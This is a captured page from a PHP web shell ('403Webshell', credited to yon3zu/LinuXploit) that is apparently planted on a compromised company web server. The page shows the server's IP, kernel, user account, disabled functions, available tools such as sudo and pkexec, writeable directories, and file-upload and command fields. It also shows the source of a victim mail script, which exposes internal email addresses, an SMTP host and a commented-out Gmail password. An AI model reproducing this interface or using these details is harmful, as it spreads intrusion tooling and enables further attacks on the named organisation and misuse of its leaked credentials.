403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesolution.com.hk/support/temp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesolution.com.hk/support/temp/sendEmailNew.php
<?php 
ini_set('display_errors', 1);
error_reporting(E_ALL);
require("class.phpmailer.php");

function sendEmail( $a_tomail,  $s_title, $s_content,$s_sendermail=""){

	$x_mail = new PHPMailer();
	//$x_mail->SMTPDebug = true;
	$x_mail->IsSMTP();	
	$x_mail->charSet = "utf-8";	
	$x_mail->WordWrap = 50;
	$x_mail->IsHTML(true);

	//*********** get the setting from db
	$x_mail->Host ="smtp.pacific.net.hk";//"smtp.gmail.com"; 
	//$x_mail->Port = 465;

	//$x_mail->SMTPAuth = true;
	//$x_mail->Username = "onecms.autogen@gmail.com";
	//$x_mail->Password = "onecms2010";
	//$x_mail->SMTPSecure = "ssl";
	
	$x_mail->From = $s_sendermail;
	if( strlen($s_sendermail) == 0){
		$x_mail->From = "autogen@onesolution.com.hk";
	}	

	$x_mail->FromName = "Auto generate";

	//in case user set no-array object
	$x_mail->AddAddress($a_tomail);
	$x_mail->Subject = $s_title;
	$x_mail->Body    = $s_content;
	$x_mail->Send();

	if( $x_mail->IsError() > 0){
		echo $x_mail->ErrorInfo;
		return $x_mail->ErrorInfo;
	}

	return true;
}

sendEmail("samliu@onesolution.com.hk", "tit", "contentttt");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit